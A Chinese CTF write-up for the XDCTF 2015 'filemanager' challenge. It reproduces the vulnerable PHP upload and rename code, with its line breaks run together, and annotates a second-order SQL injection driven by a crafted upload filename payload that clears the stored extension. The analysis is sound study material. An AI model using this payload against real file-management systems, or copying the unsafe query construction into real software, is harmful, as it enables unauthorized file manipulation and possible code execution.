BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

https://buuoj.cn/challenges#[XDCTF%202015]filemanager

https://github.com/CTFTraining/xdctf_2015_filemanager

SET NAMES utf8;SET FOREIGN_KEY_CHECKS = 0;DROP DATABASE IF EXISTS `xdctf`;CREATE DATABASE xdctf;   #创建xdctf数据库USE xdctf;DROP TABLE IF EXISTS `file`;#创建file表CREATE TABLE `file` (  `fid` int(10) unsigned NOT NULL AUTO_INCREMENT,  `filename` varchar(256) NOT NULL,  `oldname` varchar(256) DEFAULT NULL,  `view` int(11) DEFAULT NULL,  `extension` varchar(32) DEFAULT NULL,   #存储后缀名  PRIMARY KEY (`fid`)) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8;SET FOREIGN_KEY_CHECKS = 1;

<?php/** * Created by PhpStorm. * User: phithon * Date: 15/10/14 * Time: 下午7:58 */$DATABASE = array(  "host" => "127.0.0.1",  "username" => "root",  "password" => "root",  "dbname" => "xdctf",);$db = new mysqli($DATABASE['host'], $DATABASE['username'], $DATABASE['password'], $DATABASE['dbname']);$req = array();foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {  foreach ($global_var as $key => $value) {    is_string($value) && $req[$key] = addslashes($value);  }}define("UPLOAD_DIR", "upload/");function redirect($location) {  header("Location: {$location}");  exit;}

<?php/** * Created by PhpStorm. * User: phithon * Date: 15/10/14 * Time: 下午8:45 */#payload:upload_file_name=',extension='',filename='x.jpg.jpgrequire_once "common.inc.php";if ($_FILES) {  $file = $_FILES["upfile"];  if ($file["error"] == UPLOAD_ERR_OK) {#如果$_FILES["upfile"]["error"]等于UPLOAD_ERR_OK的话，这说明文件上传成功    $name = basename($file["name"]);#返回路径中的文件名部分    $path_parts = pathinfo($name);#以数组的形式返回关于文件路径的信息#print_r(pathinfo("',extension='',filename='x.jpg.jpg"));/*Array(    [dirname] => .    [basename] => ',extension='',filename='x.jpg.jpg    [extension] => jpg    [filename] => ',extension='',filename='x.jpg)*/    if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {      exit("error extension");    }    $path_parts["extension"] = "." . $path_parts["extension"];    $name = $path_parts["filename"] . $path_parts["extension"];    // $path_parts["filename"] = $db->quote($path_parts["filename"]);    // Fix    $path_parts['filename'] = addslashes($path_parts['filename']);    $sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";    $fetch = $db->query($sql);    if ($fetch->num_rows > 0) {      exit("file is exists");    }    if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {      $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";      #$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '',extension='',filename='x.jpg', 0, '.jpg')";      #单引号被过滤，插入过滤数据，'也插入到数据库，导致后面 '再次插入更新语句执  行，导致二次注入      $re = $db->query($sql);      if (!$re) {        print_r($db->error);        exit;      }      $url = "/" . UPLOAD_DIR . $name;      echo "Your file is upload, url:                <a href="{$url}" target='_blank'>{$url}</a><br/>                <a href="/">go back</a>";    } else {      exit("upload error");    }  } else {    print_r(error_get_last());    exit;  }}

<?php/** * Created by PhpStorm. * User: phithon * Date: 15/10/14 * Time: 下午9:39 */require_once "common.inc.php";if (isset($req['oldname']) && isset($req['newname'])) {  $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");  if ($result->num_rows > 0) {    $result = $result->fetch_assoc();  } else {    exit("old file doesn't exists!");  }  if ($result) {    $req['newname'] = basename($req['newname']);    $re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");    #关键点：    #$re = $db->query("update `file` set `filename`='x.jpg', `oldname`=' ',extension='',filename='x.jpg ' where `fid`={$result['fid']}");    #filename字段被更新为x.jpg,存储后缀名字段extension也设置为空。    if (!$re) {      print_r($db->error);      exit;    }    $oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];    $newname = UPLOAD_DIR . $req["newname"] . $result["extension"];    if (file_exists($oldname)) {      rename($oldname, $newname);    }    $url = "/" . $newname;    echo "Your file is rename, url:                <a href="{$url}" target='_blank'>{$url}</a><br/>                <a href="/">go back</a>";  }}?><!DOCTYPE html><html><head>    <title>file manage</title>    <base href="/">    <meta charset="utf-8" /></head><h3>Rename</h3><body><form method="post">    <p>        <span>old filename(exclude extension)：</span>        <input type="text" name="oldname">    </p>    <p>        <span>new filename(exclude extension)：</span>        <input type="text" name="newname">    </p>    <p>        <input type="submit" value="rename">    </p></form></body></html>